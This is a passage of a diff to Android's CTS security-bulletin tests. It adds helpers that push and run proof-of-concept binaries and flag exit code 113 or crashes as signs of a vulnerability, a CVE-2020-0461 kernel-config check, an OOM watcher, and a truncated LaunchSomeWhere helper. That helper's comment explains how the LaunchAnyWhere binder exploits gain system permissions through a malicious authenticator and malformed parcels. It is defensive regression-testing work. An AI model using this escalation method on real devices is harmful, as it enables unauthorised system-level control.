* @param timeout time to wait for output in seconds
* @return the console output from the binary
*/
public static String runPoc(String pocName, ITestDevice device, int timeout) throws Exception {
- device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
+ return runPoc(pocName, device, timeout, null);
+ }
+
+ /**
+ * Pushes and runs a binary to the selected device
+ *
+ * @param pocName name of the poc binary
+ * @param device device to be ran on
+ * @param timeout time to wait for output in seconds
+ * @param arguments the input arguments for the poc
+ * @return the console output from the binary
+ */
+ public static String runPoc(String pocName, ITestDevice device, int timeout, String arguments)
+ throws Exception {
CollectingOutputReceiver receiver = new CollectingOutputReceiver();
- device.executeShellCommand("/data/local/tmp/" + pocName, receiver, timeout, TimeUnit.SECONDS, 0);
- String output = receiver.getOutput();
- return output;
+ runPoc(pocName, device, timeout, arguments, receiver);
+ return receiver.getOutput();
}
/**
* Pushes and runs a binary to the selected device and ignores any of its output.
*
- * @param pocName a string path to poc from the /res folder
+ * @param pocName name of the poc binary
* @param device device to be ran on
* @param timeout time to wait for output in seconds
*/
public static void runPocNoOutput(String pocName, ITestDevice device, int timeout)
throws Exception {
- device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
- NullOutputReceiver receiver = new NullOutputReceiver();
- device.executeShellCommand("/data/local/tmp/" + pocName, receiver, timeout,
- TimeUnit.SECONDS, 0);
+ runPocNoOutput(pocName, device, timeout, null);
+ }
+
+ /**
+ * Pushes and runs a binary with arguments to the selected device and
+ * ignores any of its output.
+ *
+ * @param pocName name of the poc binary
+ * @param device device to be ran on
+ * @param timeout time to wait for output in seconds
+ * @param arguments input arguments for the poc
+ */
+ public static void runPocNoOutput(String pocName, ITestDevice device, int timeout,
+ String arguments) throws Exception {
+ runPoc(pocName, device, timeout, arguments, null);
+ }
+
+ /**
+ * Pushes and runs a binary with arguments to the selected device and
+ * ignores any of its output.
+ *
+ * @param pocName name of the poc binary
+ * @param device device to be ran on
+ * @param timeout time to wait for output in seconds
+ * @param arguments input arguments for the poc
+ * @param receiver the type of receiver to run against
+ */
+ public static int runPoc(String pocName, ITestDevice device, int timeout,
+ String arguments, IShellOutputReceiver receiver) throws Exception {
+ String remoteFile = String.format("%s%s", TMP_PATH, pocName);
+ SecurityTestCase.getPocPusher(device).pushFile(pocName, remoteFile);
+
+ assertPocExecutable(pocName, device);
+ if (receiver == null) {
+ receiver = new NullOutputReceiver();
+ }
+ if (arguments == null) {
+ arguments = "";
+ }
+
+ // since we have to return the exit status AND the poc stdout+stderr we redirect the exit
+ // status to a file temporarily
+ String exitStatusFilepath = TMP_PATH + "exit_status";
+ runCommandLine("rm " + exitStatusFilepath, device); // remove any old exit status
+ device.executeShellCommand(TMP_PATH + pocName + " " + arguments +
+ "; echo $? > " + exitStatusFilepath, // echo exit status to file
+ receiver, timeout, TimeUnit.SECONDS, 0);
+
+ // cat the exit status
+ String exitStatusString = runCommandLine("cat " + exitStatusFilepath, device).trim();
+
+ MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
+ reportLog.addValue("poc_name", pocName, ResultType.NEUTRAL, ResultUnit.NONE);
+ int exitStatus = -1;
+ try {
+ exitStatus = Integer.parseInt(exitStatusString);
+ reportLog.addValue("exit_status", exitStatus, ResultType.NEUTRAL, ResultUnit.NONE);
+ } catch (NumberFormatException e) {
+ // Getting the exit status is a bonus. We can continue without it.
+ CLog.w("Could not parse exit status to int: %s", exitStatusString);
+ }
+ reportLog.submit();
+
+ runCommandLine("rm " + exitStatusFilepath, device);
+ return exitStatus;
+ }
+
+ /**
+ * Assert the poc is executable
+ * @param pocName name of the poc binary
+ * @param device device to be ran on
+ */
+ private static void assertPocExecutable(String pocName, ITestDevice device) throws Exception {
+ String fullPocPath = TMP_PATH + pocName;
+ device.executeShellCommand("chmod 777 " + fullPocPath);
+ assertEquals("'" + pocName + "' must exist and be readable.", 0,
+ runCommandGetExitCode("test -r " + fullPocPath, device));
+ assertEquals("'" + pocName + "'poc must exist and be writable.", 0,
+ runCommandGetExitCode("test -w " + fullPocPath, device));
+ assertEquals("'" + pocName + "'poc must exist and be executable.", 0,
+ runCommandGetExitCode("test -x " + fullPocPath, device));
}
/**
@@ -168,6 +292,44 @@
}
}
+ /**
+ * Pushes the specified files to the specified destination directory
+ *
+ * @param inputFiles files required as input
+ * @param inputFilesDestination destination directory to which input files are
+ * pushed
+ * @param device device to be run on
+ */
+ public static void pushResources(String[] inputFiles, String inputFilesDestination,
+ ITestDevice device) throws Exception {
+ if (inputFiles == null || inputFilesDestination == null) {
+ throw new IllegalArgumentException(
+ "Can't push resources: input files or destination is null");
+ }
+ for (String tempFile : inputFiles) {
+ pushResource(RESOURCE_ROOT + tempFile, inputFilesDestination + tempFile, device);
+ }
+ }
+
+ /**
+ * Removes the specified files from the specified destination directory
+ *
+ * @param inputFiles files required as input
+ * @param inputFilesDestination destination directory where input files are
+ * present
+ * @param device device to be run on
+ */
+ public static void removeResources(String[] inputFiles, String inputFilesDestination,
+ ITestDevice device) throws Exception {
+ if (inputFiles == null || inputFilesDestination == null) {
+ throw new IllegalArgumentException(
+ "Can't remove resources: input files or destination is null");
+ }
+ for (String tempFile : inputFiles) {
+ runCommandLine("rm " + inputFilesDestination + tempFile, device);
+ }
+ }
+
/**
* Extracts the binary data from a resource and writes it to a temp file
*/
@@ -190,9 +352,23 @@
* Utility function to help check the exit code of a shell command
*/
public static int runCommandGetExitCode(String cmd, ITestDevice device) throws Exception {
- return Integer.parseInt(
- AdbUtils.runCommandLine( "(" + cmd + ") > /dev/null 2>&1; echo $?",
- device).replaceAll("[^0-9]", ""));
+ long time = System.currentTimeMillis();
+ String exitStatusString = runCommandLine(
+ "(" + cmd + ") > /dev/null 2>&1; echo $?", device).trim();
+ time = System.currentTimeMillis() - time;
+
+ try {
+ int exitStatus = Integer.parseInt(exitStatusString);
+ MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
+ reportLog.addValue("command", cmd, ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.addValue("exit_status", exitStatus, ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.submit();
+ return exitStatus;
+ } catch (NumberFormatException e) {
+ throw new IllegalArgumentException(String.format(
+ "Could not get the exit status (%s) for '%s' (%d ms).",
+ exitStatusString, cmd, time));
+ }
}
/**
@@ -203,28 +379,294 @@
* @param device device to be ran on
* @param timeout time to wait for output in seconds
*/
+ @Deprecated
public static boolean runPocCheckExitCode(String pocName, ITestDevice device,
int timeout) throws Exception {
- device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
- CollectingOutputReceiver receiver = new CollectingOutputReceiver();
- device.executeShellCommand("/data/local/tmp/" + pocName + " > /dev/null 2>&1; echo $?",
- receiver, timeout, TimeUnit.SECONDS, 0);
-
- String returnStr = null;
- int returnNum = 0;
-
- try{
- returnStr = receiver.getOutput().replaceAll("[^0-9]", "");
- }catch(NullPointerException e){
- return false;
- }
- try{
- returnNum = Integer.parseInt(returnStr);
- }catch(NumberFormatException e){
- return false;
- }
//Refer to go/asdl-sts-guide Test section for knowing the significance of 113 code
- return returnNum == 113;
+ return runPocGetExitStatus(pocName, device, timeout) == 113;
}
+
+ /**
+ * Pushes and runs a binary to the device and returns the exit status.
+ * @param pocName a string path to poc from the /res folder
+ * @param device device to be ran on
+ * @param timeout time to wait for output in seconds
+
+ */
+ public static int runPocGetExitStatus(String pocName, ITestDevice device, int timeout)
+ throws Exception {
+ return runPocGetExitStatus(pocName, null, device, timeout);
+ }
+
+ /**
+ * Pushes and runs a binary to the device and returns the exit status.
+ * @param pocName a string path to poc from the /res folder
+ * @param arguments input arguments for the poc
+ * @param device device to be ran on
+ * @param timeout time to wait for output in seconds
+ */
+ public static int runPocGetExitStatus(String pocName, String arguments, ITestDevice device,
+ int timeout) throws Exception {
+ return runPoc(pocName, device, timeout, arguments, null);
+ }
+
+ /**
+ * Pushes and runs a binary and asserts that the exit status isn't 113: vulnerable.
+ * @param pocName a string path to poc from the /res folder
+ * @param device device to be ran on
+ * @param timeout time to wait for output in seconds
+ */
+ public static void runPocAssertExitStatusNotVulnerable(
+ String pocName, ITestDevice device, int timeout) throws Exception {
+ runPocAssertExitStatusNotVulnerable(pocName, null, device, timeout);
+ }
+
+ /**
+ * Pushes and runs a binary and asserts that the exit status isn't 113: vulnerable.
+ * @param pocName a string path to poc from the /res folder
+ * @param arguments input arguments for the poc
+ * @param device device to be ran on
+ * @param timeout time to wait for output in seconds
+ */
+ public static void runPocAssertExitStatusNotVulnerable(String pocName, String arguments,
+ ITestDevice device, int timeout) throws Exception {
+ assertTrue("PoC returned exit status 113: vulnerable",
+ runPocGetExitStatus(pocName, arguments, device, timeout) != 113);
+ }
+
+ /**
+ * Runs the pacrunner utility against a given proxyautoconfig file, asserting that it doesn't
+ * crash
+ * @param pacName the name of the proxy autoconfig script from the /res folder
+ * @param device device to be ran on
+ */
+ public static int runProxyAutoConfig(String pacName, ITestDevice device) throws Exception {
+ pacName += ".pac";
+ String targetPath = TMP_PATH + pacName;
+ AdbUtils.pushResource("/" + pacName, targetPath, device);
+ runPocAssertNoCrashes(
+ "pacrunner", device, targetPath,
+ new CrashUtils.Config().setProcessPatterns("pacrunner"));
+ runCommandLine("rm " + targetPath, device);
+ return 0; // b/157172329 fix tests that manually check the result; remove return statement
+ }
+
+ /**
+ * Runs the poc binary and asserts that there are no security crashes that match the expected
+ * process pattern.
+ * @param pocName a string path to poc from the /res folder
+ * @param device device to be ran on
+ * @param processPatternStrings a Pattern string to match the crash tombstone process
+ */
+ public static void runPocAssertNoCrashes(String pocName, ITestDevice device,
+ String... processPatternStrings) throws Exception {
+ runPocAssertNoCrashes(pocName, device,
+ new CrashUtils.Config().setProcessPatterns(processPatternStrings));
+ }
+
+ /**
+ * Runs the poc binary and asserts that there are no security crashes that match the expected
+ * process pattern.
+ * @param pocName a string path to poc from the /res folder
+ * @param device device to be ran on
+ * @param config a crash parser configuration
+ */
+ public static void runPocAssertNoCrashes(String pocName, ITestDevice device,
+ CrashUtils.Config config) throws Exception {
+ runPocAssertNoCrashes(pocName, device, null, config);
+ }
+
+ /**
+ * Runs the poc binary and asserts that there are no security crashes that match the expected
+ * process pattern, including arguments when running.
+ * @param pocName a string path to poc from the /res folder
+ * @param device device to be ran on
+ * @param arguments input arguments for the poc
+ * @param config a crash parser configuration
+ */
+ public static void runPocAssertNoCrashes(String pocName, ITestDevice device, String arguments,
+ CrashUtils.Config config) throws Exception {
+ AdbUtils.runCommandLine("logcat -c", device);
+ AdbUtils.runPocNoOutput(pocName, device,
+ SecurityTestCase.TIMEOUT_NONDETERMINISTIC, arguments);
+ assertNoCrashes(device, config);
+ }
+
+ /**
+ * Runs the poc binary and asserts following 2 conditions.
+ * 1. There are no security crashes in the binary.
+ * 2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+ *
+ * @param binaryName name of the binary
+ * @param arguments arguments for running the binary
+ * @param device device to be run on
+ */
+ public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
+ ITestDevice device) throws Exception {
+ runPocAssertNoCrashesNotVulnerable(binaryName, arguments, null, null, device, null);
+ }
+
+ /**
+ * Runs the poc binary and asserts following 2 conditions.
+ * 1. There are no security crashes in the binary.
+ * 2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+ *
+ * @param binaryName name of the binary
+ * @param arguments arguments for running the binary
+ * @param device device to be run on
+ * @param processPatternStrings a Pattern string to match the crash tombstone
+ * process
+ */
+ public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
+ ITestDevice device, String processPatternStrings[]) throws Exception {
+ runPocAssertNoCrashesNotVulnerable(binaryName, arguments, null, null, device,
+ processPatternStrings);
+ }
+
+ /**
+ * Runs the poc binary and asserts following 2 conditions.
+ * 1. There are no security crashes in the binary.
+ * 2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+ *
+ * @param binaryName name of the binary
+ * @param arguments arguments for running the binary
+ * @param inputFiles files required as input
+ * @param inputFilesDestination destination directory to which input files are
+ * pushed
+ * @param device device to be run on
+ */
+ public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
+ String inputFiles[], String inputFilesDestination, ITestDevice device)
+ throws Exception {
+ runPocAssertNoCrashesNotVulnerable(binaryName, arguments, inputFiles, inputFilesDestination,
+ device, null);
+ }
+
+ /**
+ * Runs the poc binary and asserts following 3 conditions.
+ * 1. There are no security crashes in the binary.
+ * 2. There are no security crashes that match the expected process pattern.
+ * 3. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+ *
+ * @param binaryName name of the binary
+ * @param arguments arguments for running the binary
+ * @param inputFiles files required as input
+ * @param inputFilesDestination destination directory to which input files are
+ * pushed
+ * @param device device to be run on
+ * @param processPatternStrings a Pattern string to match the crash tombstone
+ * process
+ */
+ public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
+ String inputFiles[], String inputFilesDestination, ITestDevice device,
+ String processPatternStrings[]) throws Exception {
+ pocConfig testConfig = new pocConfig(binaryName, device);
+ testConfig.arguments = arguments;
+
+ if (inputFiles != null) {
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = inputFilesDestination;
+ }
+
+ List<String> processPatternList = new ArrayList<>();
+ if (processPatternStrings != null) {
+ processPatternList.addAll(Arrays.asList(processPatternStrings));
+ }
+ processPatternList.add(binaryName);
+ String[] processPatternStringsWithSelf = new String[processPatternList.size()];
+ processPatternList.toArray(processPatternStringsWithSelf);
+ testConfig.config =
+ new CrashUtils.Config().setProcessPatterns(processPatternStringsWithSelf);
+
+ runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * Runs the poc binary and asserts following 3 conditions.
+ * 1. There are no security crashes in the binary.
+ * 2. There are no security crashes that match the expected process pattern.
+ * 3. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+ *
+ * @param testConfig test configuration
+ */
+ public static void runPocAssertNoCrashesNotVulnerable(pocConfig testConfig) throws Exception {
+ String[] inputFiles = null;
+ if(!testConfig.inputFiles.isEmpty()) {
+ inputFiles = testConfig.inputFiles.toArray(new String[testConfig.inputFiles.size()]);
+ pushResources(inputFiles, testConfig.inputFilesDestination, testConfig.device);
+ }
+ runCommandLine("logcat -c", testConfig.device);
+ try {
+ runPocAssertExitStatusNotVulnerable(testConfig.binaryName, testConfig.arguments,
+ testConfig.device, TIMEOUT_SEC);
+ } catch (IllegalArgumentException e) {
+ /*
+ * Since 'runPocGetExitStatus' method raises IllegalArgumentException upon
+ * hang/timeout, catching the exception here and ignoring it. Hangs are of
+ * Moderate severity and hence patches may not be ported. This piece of code can
+ * be removed once 'runPocGetExitStatus' is updated to handle hangs.
+ */
+ CLog.w("Ignoring IllegalArgumentException: " + e);
+ } finally {
+ if (!testConfig.inputFiles.isEmpty()) {
+ removeResources(inputFiles, testConfig.inputFilesDestination, testConfig.device);
+ }
+ }
+ if (testConfig.config == null) {
+ testConfig.config = new CrashUtils.Config();
+ }
+ assertNoCrashes(testConfig.device, testConfig.config);
+ }
+
+ /**
+ * Dumps logcat and asserts that there are no security crashes that match the expected process.
+ * By default, checks min crash addresses
+ * pattern. Ensure that adb logcat -c is called beforehand.
+ * @param device device to be ran on
+ * @param processPatternStrings a Pattern string to match the crash tombstone process
+ */
+ public static void assertNoCrashes(ITestDevice device, String... processPatternStrings)
+ throws Exception {
+ assertNoCrashes(device, new CrashUtils.Config().setProcessPatterns(processPatternStrings));
+ }
+
+ /**
+ * Dumps logcat and asserts that there are no security crashes that match the expected process
+ * pattern. Ensure that adb logcat -c is called beforehand.
+ * @param device device to be ran on
+ * @param config a crash parser configuration
+ */
+ public static void assertNoCrashes(ITestDevice device,
+ CrashUtils.Config config) throws Exception {
+ String logcat = AdbUtils.runCommandLine("logcat -d *:S DEBUG:V", device);
+
+ JSONArray crashes = CrashUtils.addAllCrashes(logcat, new JSONArray());
+ JSONArray securityCrashes = CrashUtils.matchSecurityCrashes(crashes, config);
+
+ MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
+ reportLog.addValue("all_crashes", crashes.toString(), ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.addValue("security_crashes", securityCrashes.toString(),
+ ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.submit();
+
+ if (securityCrashes.length() == 0) {
+ return; // no security crashes detected
+ }
+
+ StringBuilder error = new StringBuilder();
+ error.append("Security crash detected:\n");
+ error.append("Process patterns:");
+ for (Pattern pattern : config.getProcessPatterns()) {
+ error.append(String.format(" '%s'", pattern.toString()));
+ }
+ error.append("\nCrashes:\n");
+ for (int i = 0; i < crashes.length(); i++) {
+ try {
+ JSONObject crash = crashes.getJSONObject(i);
+ error.append(String.format("%s\n", crash));
+ } catch (JSONException e) {}
+ }
+ fail(error.toString());
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0461.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0461.java
new file mode 100644
index 0000000..92aa626
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0461.java
@@ -0,0 +1,61 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assume.assumeTrue;
+import static org.junit.Assume.assumeThat;
+import static org.hamcrest.CoreMatchers.equalTo;
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0461 extends SecurityTestCase {
+
+ /**
+ * b/162741784
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-11")
+ public void testPocCVE_2020_0461() throws Exception {
+ //conditions
+ String cpu = AdbUtils.runCommandLine("getprop ro.product.cpu.abi", getDevice());
+ assumeThat(cpu, equalTo("arm64-v8a"));
+ assumeTrue(containsDriver(getDevice(), "/proc/config.gz"));
+ assumeTrue(containsDriver(getDevice(),
+ "/sys/devices/system/cpu/vulnerabilities/meltdown"));
+ String meltdown = AdbUtils.runCommandLine(
+ "cat /sys/devices/system/cpu/vulnerabilities/meltdown", getDevice());
+ assumeThat(meltdown, equalTo("Vulnerable"));
+
+ //test
+ AdbUtils.runCommandLine("cp /proc/config.gz /data/local/tmp", getDevice());
+ AdbUtils.runCommandLine("gunzip /data/local/tmp/config.gz", getDevice());
+ String output = AdbUtils.runCommandLine(
+ "grep CONFIG_UNMAP_KERNEL_AT_EL0 /data/local/tmp/config", getDevice());
+ AdbUtils.runCommandLine("rm /data/local/tmp/config", getDevice());
+
+ // This is a bad output
+ // "" - empty output
+ // "CONFIG_UNMAP_KERNEL_AT_EL0 is not set"
+ assertFalse(output.isEmpty());
+ assertNotMatches("is not set", output);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/HostsideOomCatcher.java b/hostsidetests/securitybulletin/src/android/security/cts/HostsideOomCatcher.java
new file mode 100644
index 0000000..d97c4db
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/HostsideOomCatcher.java
@@ -0,0 +1,228 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.device.BackgroundDeviceAction;
+
+import android.platform.test.annotations.RootPermissionTest;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Scanner;
+import java.util.regex.Pattern;
+import java.util.regex.Matcher;
+import java.util.Map;
+import java.util.HashMap;
+import java.util.concurrent.ConcurrentHashMap;
+import com.android.ddmlib.MultiLineReceiver;
+import com.android.ddmlib.Log;
+import com.android.ddmlib.TimeoutException;
+import java.lang.ref.WeakReference;
+
+/**
+ * A utility to monitor the device lowmemory state and reboot when low. Without this, tests that
+ * cause an OOM can sometimes cause ADB to become unresponsive indefinitely. Usage is to create an
+ * instance per instance of SecurityTestCase and call start() and stop() matching to
+ * SecurityTestCase setup() and teardown().
+ */
+public class HostsideOomCatcher {
+
+ private static final String LOG_TAG = "HostsideOomCatcher";
+
+ private static final long LOW_MEMORY_DEVICE_THRESHOLD_KB = (long)(1.5 * 1024 * 1024); //1.5GB
+ private static Map<String, WeakReference<BackgroundDeviceAction>> oomCatchers =
+ new ConcurrentHashMap<>();
+ private static Map<String, Long> totalMemories = new ConcurrentHashMap<>();
+
+ private boolean isLowMemoryDevice = false;
+
+ private SecurityTestCase context;
+
+ /**
+ * test behavior when oom is detected.
+ */
+ public enum OomBehavior {
+ FAIL_AND_LOG, // normal behavior
+ PASS_AND_LOG, // skip tests that oom low memory devices
+ FAIL_NO_LOG, // tests that check for oom
+ }
+ private OomBehavior oomBehavior = OomBehavior.FAIL_AND_LOG; // accessed across threads
+ private boolean oomDetected = false; // accessed across threads
+
+ public HostsideOomCatcher(SecurityTestCase context) {
+ this.context = context;
+ }
+
+ /**
+ * Utility to get the device memory total by reading /proc/meminfo and returning MemTotal
+ */
+ private static long getMemTotal(ITestDevice device) throws DeviceNotAvailableException {
+ // cache device TotalMem to avoid an adb shell for every test.
+ String serial = device.getSerialNumber();
+ Long totalMemory = totalMemories.get(serial);
+ if (totalMemory == null) {
+ String memInfo = device.executeShellCommand("cat /proc/meminfo");
+ Pattern pattern = Pattern.compile("MemTotal:\\s*(.*?)\\s*[kK][bB]");
+ Matcher matcher = pattern.matcher(memInfo);
+ if (matcher.find()) {
+ totalMemory = Long.parseLong(matcher.group(1));
+ } else {
+ throw new RuntimeException("Could not get device memory total.");
+ }
+ Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG,
+ "Device " + serial + " has " + totalMemory + "KB total memory.");
+ totalMemories.put(serial, totalMemory);
+ }
+ return totalMemory;
+ }
+
+ /**
+ * Start the hostside oom catcher thread for the test.
+ * Match this call to SecurityTestCase.setup().
+ */
+ public synchronized void start() throws Exception {
+ long totalMemory = getMemTotal(getDevice());
+ isLowMemoryDevice = totalMemory < LOW_MEMORY_DEVICE_THRESHOLD_KB;
+
+ // reset test oom behavior
+ // Devices should fail tests that OOM so that they'll be ran again with --retry.
+ // If the test OOMs because previous tests used the memory, it will likely pass
+ // on a second try.
+ oomBehavior = OomBehavior.FAIL_AND_LOG;
+ oomDetected = false;
+
+ // Cache OOM detection in separate persistent threads for each device.
+ WeakReference<BackgroundDeviceAction> reference =
+ oomCatchers.get(getDevice().getSerialNumber());
+ BackgroundDeviceAction oomCatcher = null;
+ if (reference != null) {
+ oomCatcher = reference.get();
+ }
+ if (oomCatcher == null || !oomCatcher.isAlive() || oomCatcher.isCancelled()) {
+ AdbUtils.runCommandLine("am start com.android.cts.oomcatcher/.OomCatcher", getDevice());
+
+ oomCatcher = new BackgroundDeviceAction(
+ "logcat -c && logcat OomCatcher:V *:S",
+ "Oom Catcher background thread",
+ getDevice(), new OomReceiver(getDevice()), 0);
+
+ oomCatchers.put(getDevice().getSerialNumber(), new WeakReference<>(oomCatcher));
+ oomCatcher.start();
+ }
+ }
+
+ /**
+ * Stop the hostside oom catcher thread.
+ * Match this call to SecurityTestCase.setup().
+ */
+ public static void stop(String serial) {
+ WeakReference<BackgroundDeviceAction> reference = oomCatchers.get(serial);
+ if (reference != null) {
+ BackgroundDeviceAction oomCatcher = reference.get();
+ if (oomCatcher != null) {
+ oomCatcher.cancel();
+ }
+ }
+ }
+
+ /**
+ * Check every test teardown to see if the device oomed during the test.
+ */
+ public synchronized boolean isOomDetected() {
+ return oomDetected;
+ }
+
+ /**
+ * Return the current test behavior for when oom is detected.
+ */
+ public synchronized OomBehavior getOomBehavior() {
+ return oomBehavior;
+ }
+
+ /**
+ * Flag meaning the test will likely fail on devices with low memory.
+ */
+ public synchronized void setHighMemoryTest() {
+ if (isLowMemoryDevice) {
+ oomBehavior = OomBehavior.PASS_AND_LOG;
+ } else {
+ oomBehavior = OomBehavior.FAIL_AND_LOG;
+ }
+ }
+
+ /**
+ * Flag meaning the test uses the OOM catcher to fail the test because the test vulnerability
+ * intentionally OOMs the device.
+ */
+ public synchronized void setOomTest() {
+ oomBehavior = OomBehavior.FAIL_NO_LOG;
+ }
+
+ private ITestDevice getDevice() {
+ return context.getDevice();
+ }
+
+ /**
+ * Read through logcat to find when the OomCatcher app reports low memory. Once detected, reboot
+ * the device to prevent a soft reset with the possiblity of ADB becomming unresponsive.
+ */
+ class OomReceiver extends MultiLineReceiver {
+
+ private ITestDevice device = null;
+ private boolean isCancelled = false;
+
+ public OomReceiver(ITestDevice device) {
+ this.device = device;
+ }
+
+ @Override
+ public void processNewLines(String[] lines) {
+ for (String line : lines) {
+ if (Pattern.matches(".*Low memory.*", line)) {
+ // low memory detected, reboot device to clear memory and pass test
+ isCancelled = true;
+ Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG,
+ "lowmemorykiller detected; rebooting device.");
+ synchronized (HostsideOomCatcher.this) { // synchronized for oomDetected
+ oomDetected = true; // set HostSideOomCatcher var
+ }
+ try {
+ device.nonBlockingReboot();
+ device.waitForDeviceOnline(60 * 2 * 1000); // 2 minutes
+ } catch (Exception e) {
+ Log.e(LOG_TAG, e.toString());
+ }
+ return; // we don't need to process remaining lines in the array
+ }
+ }
+ }
+
+ @Override
+ public boolean isCancelled() {
+ return isCancelled;
+ }
+ }
+}
+
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/LaunchSomeWhere.java b/hostsidetests/securitybulletin/src/android/security/cts/LaunchSomeWhere.java
new file mode 100644
index 0000000..3a61311
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/LaunchSomeWhere.java
@@ -0,0 +1,93 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.ITestDevice;
+
+/*
+ * Adding Tests:
+ * We are testing a series of exploits that all take advantage of binder in the
+ * same way, using a malformed parcel to get system permission, with the only
+ * difference being the details of how we create the malformed parcel. In order
+ * to take advantage of these similarities (among other reasons) we share code
+ * between these exploits with an app that only requires two things to run a new
+ * version of this exploit: a class implementing IGenerateMalformedParcel and an
+ * intent telling the app which version of the exploit to run.
+ *
+ * When you recieve a new LaunchAnyWhere exploit it will likely be in the form
+ * of an app that can perform a number of actions such as creating a new pin
+ * or installing an app without recieving the appropriate permissions. However,
+ * the only file we care about form the app will be GenMalformedParcel.java.
+ * Find that file and follow these steps to add a new LaunchAnyWhere test:
+ *
+ * 1. Copy GenMalformedParcel.java into the LaunchAnyWhere app at
+ * cts/hostsidetests/security/test-apps/launchanywhere/src... Rename the file
+ * and class after the CVE that you are addressing. Modify the class
+ * signature and method signature so that it implements
+ * IGenerateMalformedParcel (namely, add the `implements` clause and change
+ * the function to public Parcel generate(Intent intent)).
+ *
+ * 2. Next, add a hostside test to the appropriate file in this directory.
+ * In the test all you have to do is call
+ * LaunchSomeWhere.launchSomeWhere("CVE_20XX_XXXXX", getDevice());
+ *
+ * 3. Verify your test and submit, assuming all went well. If not then check
+ * for differences between the files in the submitted apk and the code in
+ * tests/tests/security/src/android/security/cts/launchanywhere.
+ *
+ * Exploit Overview:
+ * All LaunchAnyWhere exploits take advantage of classes that write more data
+ * than they read. They follow the same process to send an intent with system
+ * permissions. The process is described below (you do not need to understand
+ * this in order to create tests, but we learned this while debugging some
+ * things and don't want the information to be lost):
+ *
+ * 1. Add an account with the account type 'com.launchanywhere' When an account
+ * is added the AccountManager delegates the task of authenticating the
+ * account to an instance of AbstractAccountAuthenticator. Our malicious
+ * authenticator finds
+ * android.accounts.IAccountAuthenticatorResponse.Stub.Proxy and replaces
+ * it's mRemote field with our anonymous IBinder before returning a
+ * default-constructed bundle. We save the old value and delegate to it
+ * after altering the arguments when appropriate (MitM).
+ *
+ * 2. When we finish, our IBinder's transact is called. At this point we create
+ * a reboot intent and send it to the appropriate class to generate the
+ * malformed parcel. This grants the intent system permissions.
+ *
+ * 3. The phone reboots, proving a successful exploit.
+ */
+class LaunchSomeWhere {
+ public static void launchSomeWhere(String cve, ITestDevice device)
+ throws Exception {
+
+ String command = "am start";
+
+ String[] args = {
+ "--es", "cve", cve,
